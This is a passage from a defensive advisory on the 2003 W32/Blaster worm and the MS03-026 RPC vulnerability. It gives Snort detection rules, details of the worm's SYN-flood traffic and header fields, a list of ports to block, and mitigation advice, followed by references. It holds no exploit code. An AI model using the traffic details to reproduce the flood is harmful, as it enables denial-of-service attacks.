  • ISS BlackICE: 2118006
  • ISS RealSecure: MSRPC_RemoteActivate_Bo
  • Snort IDS:
    
    alert tcp $EXTERNAL_NET any -> $HOME_NET 135 (msg:"NETBIOS DCERPC 
    	ISystemActivator bind attempt"; flow:to_server,established;
    	content:"|05|"; distance:0; within:1; content:"|0b|"; distance:1; 
    	within:1; byte_test:1,&,1,0,relative; content:"|A0 01 00 00 00 00 00 00 
    	C0 00 00 00 00 00 00 46|"; distance:29; within:16; reference:cve,CAN-
    	2003-0352; classtype:attempted-admin; sid:2192; rev:1;) 
    
    alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB DCERPC 
    	ISystemActivator bind attempt"; flow:to_server,established; 
    	content:"|FF|SMB|25|"; nocase; offset:4; depth:5; content:"|26 00|"; 
    	distance:56; within:2; content:"|5c 00|P|00|I|00|P|00|E|00 5c 00|"; 
    	nocase; distance:5; within:12; content:"|05|"; distance:0; within:1; 
    	content:"|0b|"; distance:1; within:1; byte_test:1,&,1,0,relative; 
    	content:"|A0 01 00 00 00 00 00 00 C0 00 00 00 00 00 00 46|"; 
    	distance:29; within:16; reference:cve,CAN-2003-0352; 
    	classtype:attempted-admin; sid:2193; rev:1;)
    
    
The W32/Blaster worm's denial of service traffic has the following characteristics:
  • It is a SYN flood on port 80 of the windowsupdate.com site.
  • 50 HTTP packets are sent every second.
  • Each packet is 40 bytes in length.
  • If the worm is unable to find a DNS entry for windowsupdate.com, it uses a destination address of 255.255.255.255.
Fixed characteristics of the W32/Blaster's denial of service TCP and IP headers are:
  • IP Identification = 256
  • Time to Live = 128
  • Source IP address = a.b.x.y. where a.b are from the host ip and x.y are random. In some cases a.b are random as well.
  • Destination IP address = DNS resolution of "windowsupdate.com"
  • TCP Source port is between 1000 and 1999
  • TCP Destination port = 80
  • TCP Sequence number always has the two low bytes set to 0, while the 2 high bytes are random.
  • TCP windows size = 16384
The W32/Blaster worm contains the following text which is never displayed:


I just want to say LOVE YOU SAN!!
billy gates why do you make this possible ? Stop making money and fix your software!! 



How to Protect Against the Attack

It is possible to protect against the Microsoft Windows MS03-026 RPC Buffer Overflow and W32/Blaster Worms in a number of ways. These methods of protection should be used together to create multiple layers of protection against a W32/Blaster attack.
  • Download the patch from http://www.microsoft.com/technet/security/bulletin/MS03-026.asp and install it on all Windows NT, Windows 2000, Windows XP and Windows 2003 servers and workstations. This is the only way to prevent a system that is scanned by a W/32 Blaster infected computer from rebooting or hanging/crashing (even if current antivirus signatures are loaded).
  • Make sure that an anti-virus program is loaded and that its virus definitions are up to date. It goes without saying that you should also check with the vendor to ensure that the latest virus definitions for their product actually detect the W/32 Blaster worm and its variants.
  • Block the following ports on all network border firewalls:
    • 69/UDP
    • 135/TCP
    • 135/UDP
    • 139/TCP
    • 139/UDP
    • 445/TCP
    • 445/UDP
    • 593/TCP
    • 4444/TCP
    At the very minimum, all inbound traffic on these ports should be blocked, but it is best to block both inbound and outbound traffic if possible. This will protect systems on the network from an external attack, but will not stop infected computers inside the firewall from spreading the infection and scanning/crashing/rebooting workstations and servers on the local network.
  • If possible, and depending on network requirements, it is a good idea to add an additional layer of security by blocking vulnerable ports at the host level by using Microsoft's built in Internet Connection Firewall or (preferably) a third party personal firewall product. This has the potential to break applications that use the affected ports for communication, so this option should be thoroughly tested with a company's information systems before being deployed in a production environment.
  • If DCOM is not being used at all in a production environment it is possible to disable it completely, as detailed in Microsoft knowledge base article number 825750 (http://support.microsoft.com/default.aspx?scid=kb;en-us;825750). Disabling DCOM can lead to the possibility of undesirable side effects with built in and third part Windows components and is not recommended by Microsoft. In order to disable DCOM on Windows 2000, service pack 3 or higher is required.
  • The human side of virus and worm protection should not be overlooked. A Virus Protection Information Security Policy or Acceptable Use Policy with a virus protection section should be created and maintained. Reading and agreeing to this policy should be mandatory for all users of company information resources. This is especially true for remote and field users where the IT department has less direct control over the computer's security and virus protection configuration.
W32/Blaster and MS03-026 References

Further information regarding the W32/Blaster worm and the associated Microsoft DCOM RPC vulnerability can be found at the following URL addresses:

[1] Carnegie Mellon University - CERT® Advisory CA-2003-20 W32/Blaster worm - August 11, 2003 - http://www.cert.org/advisories/CA-2003-20.html

[2] Elser, Dennis - Decompilation of the RPC blaster.worm main() routine and short description/analysis - http://archives.neohapsis.com/archives/bugtraq/2003-08/att-0160/msblast_analysis.txt

[3] Internet Security Systems - "MS Blast" MSRPC DCOM Worm Propagation - August 11, 2003 - http://xforce.iss.net/xforce/alerts/id/150

[4] Microsoft Corporation - Microsoft Security Bulletin MS03-026 - July 16, 2003 - http://www.microsoft.com/technet/security/bulletin/MS03-026.asp

[5] Network Associates (McAfee) - W32/Lovsan.worm.a - August 11, 2003 - http://us.mcafee.com/virusInfo/default.asp?id=description&virus_k=100547

[6] Rolles, Rolf - Recode from disassembly of the Win32 DCOM worm - http://lists.insecure.org/lists/vuln-dev/2003/Aug/att-0029/RPC_DCOM_recode_and_analysis.TXT

[7] Symantec Corporation (SecurityFocus) - Microsoft Windows DCOM RPC Interface Buffer Overrun Vulnerability - July 16, 2003 - http://www.securityfocus.com/bid/8205

[8] Symantec Corporation - Microsoft DCOM RPC Worm Alert - August 11, 2003 - https://tms.symantec.com/members/AnalystReports/030811-Alert-DCOMworm.pdf

[9] Symantec Corporation - W32.Blaster.Worm - August 11, 2003 - http://www.symantec.com/avcenter/venc/data/w32.blaster.worm.html

[10] The MITRE Corporation - CAN-2003-0352 (under review) - http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0352